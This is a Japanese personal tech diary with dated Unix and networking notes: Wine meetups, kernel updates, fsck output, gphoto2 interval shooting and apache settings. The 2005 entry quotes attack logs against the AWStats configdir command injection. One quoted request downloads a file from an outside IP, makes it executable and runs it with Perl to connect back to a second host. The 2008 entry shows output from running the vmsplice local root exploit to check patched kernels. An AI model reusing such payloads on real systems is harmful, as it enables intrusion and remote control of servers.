トップ «前の日(02-12) 最新 次の日(02-14)» 追記

屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2005-02-13(Sun) たわしは頭から

昼前に

大阪駅へ歩き、ことらぐのお茶会に参加。WineのHackerを囲んで WineやCodewaversの話題が咲き乱れていた。 回転寿司にスタバ。おまけにおでんをつまんで 乾杯。NTFSをmountするオプションに uid=NUM,gid=NUMがある 話を聞く。JMANに明記されていたことを後付けで知った。

ようやく

あの間違いメールが返って来た。ログを見直すと丸5日間に渡り 192回も送信(エラー)を繰り返していた。
こちらは鯖(最初の一回を除き)にも、またクライアントにも梨の礫。

こないだより更に

変なログ。これは勘違いや嫌がらせではなかろう。

201.8.98.44 - - [12/Feb/2005:02:00:49 +0900] \
"GET /awstats/awstats.pl?configdir=|echo;%20echo;%20ls;%20echo;%20echo| \
HTTP/1.0" 404 472 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)"

まあ、に比べればまだ手ぬるいかも。

221 :212:05/02/05 01:26:39 ID:xJZHVJAK
    スレ違いだけど、こんな感じでやられました。
 
    "GET /cgi-bin/awstats.pl?configdir
    =%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bwget%2066%2e90%2e116%
    2e37%2fdc%2eexe%3bmv%20dc%2eexe%20love%2epl%3bchmod%20777%20love%
    2epl%3bperl%20%2e%2flove%2epl%2069%2e158%2e57%2e20%2020001%3bid%
    3buptime% 3becho%20e_exp%3b%2500 HTTP/1.1" 200 8 07 "-" "-"
 
222 :login:Penguin:05/02/05 02:00:34 ID:XQoynZ2n
 
    >>221
    AWStatsの脆弱性を突かれましたな。
     
    アクセス解析ツールにバグ、人気Blogが改ざんの被害に
    http://www.itmedia.co.jp/enter

2006-02-13(Mon) んどうだが

まだ終らない

qemuのBSDバトルは続く。。
OpenBSDのmake buildはまだまだ。
NetBSDはとっくにエラーを吐いて 止まっている。
追究は次回。


2007-02-13(Tue) ぐず

WinDbg

セキュリティホールmemoから WinDbg入門に至る。 解説記事の <Title>が "コンピュータの基礎" と書いてある。
安直にインストールして、適当にコマンドを叩く。そこまでしか、興味は持続しなかった。


2008-02-13(Wed) 摂氏零度の青空

2.6.23.16-plamoSMP

追試。
デフォルトのカーネルをremovepkgで引っこ抜き、 installpkg kernel-2.6.23.16_plamoSMP-i586-P1.tgz する。
/boot/vmlinuz (シンボリックリンク)の指す先 が変る。

$ ls -l kernel-2.6.23.16_plamoSMP-i586-P1.tgz
-rw-r--r--  1 user group 16404051  2月 12日  10:08 \
 kernel-2.6.23.16_plamoSMP-i586-P1.tgz
 
$ uname -a
Linux plamo 2.6.23.16-plamoSMP #1 SMP PREEMPT Tue \
 Feb 12 00:52:51 JST 2008 i686 unknown unknown GNU/Linux
 
$ ./exploit
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e28000 .. 0xb7e5a000
[-] vmsplice: Bad address
$

続いてetchも

カーネルをアップデートする。dpkg -lで入ってるカーネルを調べて、 apt-get install -y linux-image-2.6-k7 とかやればいいらしい。
新しいカーネルがインストールされ、/boot/grub/menu.lst にもデフォルトのエントリ に追記される。
再起動後、exploitを再度実行。これが限界。

lennyでは2.6.22-3-k7で対応されていた。

gcc-4.2.3 on Plamo

INSPIRON6000に入れてみた。
./confire --enable-bootstrap --enable-threads --enable-tls。 そして make CFLAGS='-O' LIBCFLAGS='-g -O2' LIBCXXFLAGS='-g -O2 -fno-implicit-templates' bootstrap 。
例によって、読むべきものを読んでいない。
できたgccで、適当にコンパイルしてみる。
gcc-3.4.6より、少しオブジェクトが大きくなったかも。

$ gcc --version
gcc (GCC) 4.2.3
Copyright (C) 2007 Free Software Foundation, Inc.
This is free software; see the source for copying \
 conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS \
FOR A PARTICULAR PURPOSE.
 
$ ls -l exploit*
-rw-r--r--  1 user group 7655  2月 13日  09:08 exploit.c
-rwxr-xr-x  1 user group 8349  2月 13日  09:09 exploit3*
-rwxr-xr-x  1 user group 8523  2月 13日  13:21 exploit4*

2009-02-13(Fri) 曇のちあめ

空白入り

空白の入ったファイル名が有効なことを確認。
とはいえ、禍の元であることは十分予想できる。

$ w3m -dump_head  \
  "http://www.kuzuore.com/misc/dust/white space.txt"
HTTP/1.1 200 OK
Date: Fri, 13 Feb 2009 02:56:40 GMT
Server: Apache
Last-Modified: Fri, 13 Feb 2009 02:48:24 GMT
ETag: "140634-b-462c3dedcce00"
Accept-Ranges: bytes
Content-Length: 11
Connection: close
Content-Type: text/plain
Content-Language: ja
X-Pad: avoid browser bug

OBSつづく

dhcp サーバを立ててみる。
それからDNATもやってみた。LANの内側にhttp, ftp, smtp のサーバを立てて 別のLANの内側からNetを介して接続確認。このようなテストは、 仮想環境+バイナリパッケージの多いOSSが(環境を早く整えることができるので) 便利だ。
OBSがデフォルトで立てているtelnetとftp、永続的に消すにはどこを 書き換えるんだっけ。
あーめんど。

アドホックなIPv6も試みたが、なんかうまくいかない(Plamo-4.22でも同様)。
6to4ゲートウェイが中継してくれてないような気が。

家のルータをOBSにすげ替えてみた。
既存のサービスはうまくまわっているようだ。
# ip -f inet6 route show すると、unreachable ...がどっと出た。
さて、どうするか。


2020-02-13(Thu) 昨日の雨が早朝に上がって、いやに温度が高い

手元の一番古いSDカード

Class 4。 最初のRasPiともにあった
流石に今は、どうも起動できないっぽいので、e2fsckしてみる。

$ time sudo e2fsck -fpttvc  /dev/sdb2
/dev/sdb2: Superblock has an invalid ジャーナル (iノード 8).
CLEARED.
*** journal has been deleted ***
 
/dev/sdb2: Superblock has_ジャーナル flag is clear, but a ジャーナル is present.
CLEARED.
/dev/sdb2: Updating bad block inode.
/dev/sdb2: ジャーナル iノード is not in use, but contains data.  CLEARED.
/dev/sdb2: Duplicate or bad block in use!
/dev/sdb2: Multiply-claimed block(s) in iノード 8678: 922832--922835
/dev/sdb2: Multiply-claimed block(s) in iノード 21282: 605004--605005 605007 605124--605127
Pass 1b: Memory used: 2388k/536k (2229k/160k), time:  0.06/ 0.06/ 0.00
Pass 1b: I/O read: 63MB, write: 0MB, rate: 1132.58MB/s
Pass 1c: Memory used: 2388k/536k (2229k/160k), time:  3.37/ 0.03/ 0.09
Pass 1c: I/O read: 50MB, write: 0MB, rate: 14.83MB/s
/dev/sdb2: (There are 2 iノードs containing multiply-claimed blocks.)
 
/dev/sdb2: File ... (iノード #8678, mod time Sun Feb  9 08:05:01 2014)
  has 4 multiply-claimed block(s), shared with 1 file(s):
/dev/sdb2:      <The bad blocks inode> (iノード #1, mod time Thu Feb 13 09:11:05 2020)
/dev/sdb2:
 
/dev/sdb2: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
        (i.e., without -a or -p options)
 
real    22m29.768s
user    0m0.679s
sys     0m2.921s

Macのイメージ

$ file InstallMacOSX.dmg 
InstallMacOSX.dmg: zlib compressed data
$ 7z e InstallMacOSX.dmg 
 
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,
8 CPUs Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz (806EB),ASM,AES-NI)
 
Scanning the drive for archives:
1 file, 6204629298 bytes (5918 MiB)
 
Extracting archive: InstallMacOSX.dmg
--
Path = InstallMacOSX.dmg
Type = Dmg
Physical Size = 6204629298
Method = Copy Zero2 ZLIB CRC
Blocks = 6162
 
Everything is Ok                               
 
Files: 9
Size:       6812200960
Compressed: 6204629298
$ ls -alFh
合計 13G
drwxr-xr-x  2 user group 4.0K  2月 13 13:28  ./
drwxr-xr-x 18 user group  12K  2月 13 13:29  ../
-rw-r--r--  1 user group  512  2月  7 11:36  0.MBR
-rw-r--r--  1 user group  512  2月  7 11:36 '1.Primary GPT Header'
-rw-r--r--  1 user group  16K  2月  7 11:36 '2.Primary GPT Table'
-rw-r--r--  1 user group 3.0K  2月  7 11:36  3.free
-rw-r--r--  1 user group 200M  2月  7 11:36  
 4.C12A7328-F81F-11D2-BA4B-00A0C93EC93B
-rw-r--r--  1 user group 6.1G  2月  7 11:36  5.hfs
-rw-r--r--  1 user group 129M  2月  7 11:36  6.free
-rw-r--r--  1 user group  16K  2月  7 11:36 '7.Backup GPT Table'
-rw-r--r--  1 user group  512  2月  7 11:36 '8.Backup GPT Header'
-rw-r--r--  1 user group 5.8G  2月  7 11:36  InstallMacOSX.dmg
$ sudo mount -r -t hfsplus -o loop 5.hfs /media/temp/
 
$ ls -alFh /media/temp/
合計 5.8G
drwxr-xr-x 1 root root    5 10月 25 03:01  ./
drwxr-xr-x 8 root root 4.0K 10月 27 21:58  ../
dr-xr-xr-t 1 root root    2  7月  9  2016 '.HFS+ Private Directory Data'$'\r'/
-rw-r--r-- 1 root root 5.8G 10月 25 03:03  InstallMacOSX.pkg

一旦このくらいで。


2021-02-13(Sat) 晴れてるが

なんとなく超久々のPlamo

仮想マシンに入れてみた。
ディスクをダウンロードする。
インストール自体は難なく終わる。

パッケージのインストール中、母機のCPUは少し熱くなった。
ファンを引っ張り出して下に敷く。パッケージのインストール中、母機のCPUは少し熱くなった。 あまり効き目のなさそうなファンを引っ張り出して下に敷く。

u無事にX(LXDE) も起動し、ssh-keygen -t ed25519で鍵作成。
母機からイメージをkpartx してroでマウントしておいて、 キーをメールで送信する。あまりいい方法でもないが、 さしあたりここに送信するくらいはできた。
このブログも、Plamoで書いていると。

$ lsb_release -a
LSB Version:	unavailable
Distributor ID:	Plamo
Description:	Plamo Linux release 7.2
Release:	7.2
Codename:	unavailable

この段階では、まだPlamoらしさはあまり見えてない。

ちょっとだけ進歩

gphoto2。

$ time gphoto2 --quiet --capture-image-and-download -F 5 -I 3 --filename "%S".png
/capt0000.jpg
/capt0001.jpg
/capt0002.jpg
/capt0003.jpg
/capt0004.jpg
 
real	0m13.687s
user	0m0.088s
sys	0m0.049s
 
$ ls -l --full-time -h *.png
-rw-r--r-- 1 user group 2.2M 2021-02-13 11:44:08.000000000 +0900 08.png
-rw-r--r-- 1 user group 2.2M 2021-02-13 11:44:10.000000000 +0900 10.png
-rw-r--r-- 1 user group 2.2M 2021-02-13 11:44:13.000000000 +0900 13.png
-rw-r--r-- 1 user group 2.2M 2021-02-13 11:44:16.000000000 +0900 16.png
-rw-r--r-- 1 user group 2.2M 2021-02-13 11:44:19.000000000 +0900 19.png

数が少ないのでファイル名は秒でごまかしたが、 1分以上に跨がれば、当然ダブって古いのは消える。

この場合はプログラムAEで1/200秒で、ほぼ指定間隔通りに撮れていたようだ。 シャッター音は必ずしも等間隔には聞こえなかったが。
このカメラでは、自動露出では3秒未満では間隔があまり揃わなかった。
露出とフォーカスをマニュアルにすると1秒でもできないことはないようだけど、 内部でファイル名が重なることがあるらしく、指定枚数より少ないことも あった。
インターバルは1以上の整数しか指定できないみたい。

MicroSDの不良判定が痛い。PCで読み書きできてもD3400では 受け付けなかったり。

exif(1)で中のテキストを見ていながら、しばらくおかしいことに 気づかなかった。
ファイル名を "*.png" にしても、吐き出されるファイルは、

$ identify 02-13-13-48-06.png 
02-13-13-48-06.png JPEG 2992x2000 2992x2000+0+0 8-bit
 sRGB 1.69576MiB 0.000u 0:00.004

のらぴかを撮ってみた

$ time gphoto2 --quiet --capture-image-and-download -F 10 -I 1 --filename "+%m-%d-%H-%M-%S".jpg

撮った10コマをmencoderで動画にする。1.5fpsくらいが適切か。

ちょっとピンぼけだけど、マニュアルの1/20秒で、わりと正確に一秒ひとコマ撮れてるように見えた。表記がどこまで正確なのかはわからないにしてもだ。
ついでに exifも。

久々にapache2の設定変更

リンク先がUTF-8(LF)テキストだと、文字化けするようだ。
firefoxもgoole chromeも同様。

/etc/apache2/conf-enabled$ grep char *
charset.conf:# Read the documentation before enabling AddDefaultCharset.
charset.conf:# AddDefaultCharset UTF-8

AddDefaultCharset UTF-8 のコメントを外し、systemctl restart apache2。

$ find . -type f -name '*.txt' -exec nkf --guess {} \; | grep -c "2022\|EUC\|Shift
1246

リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。

index.htmlは ここから。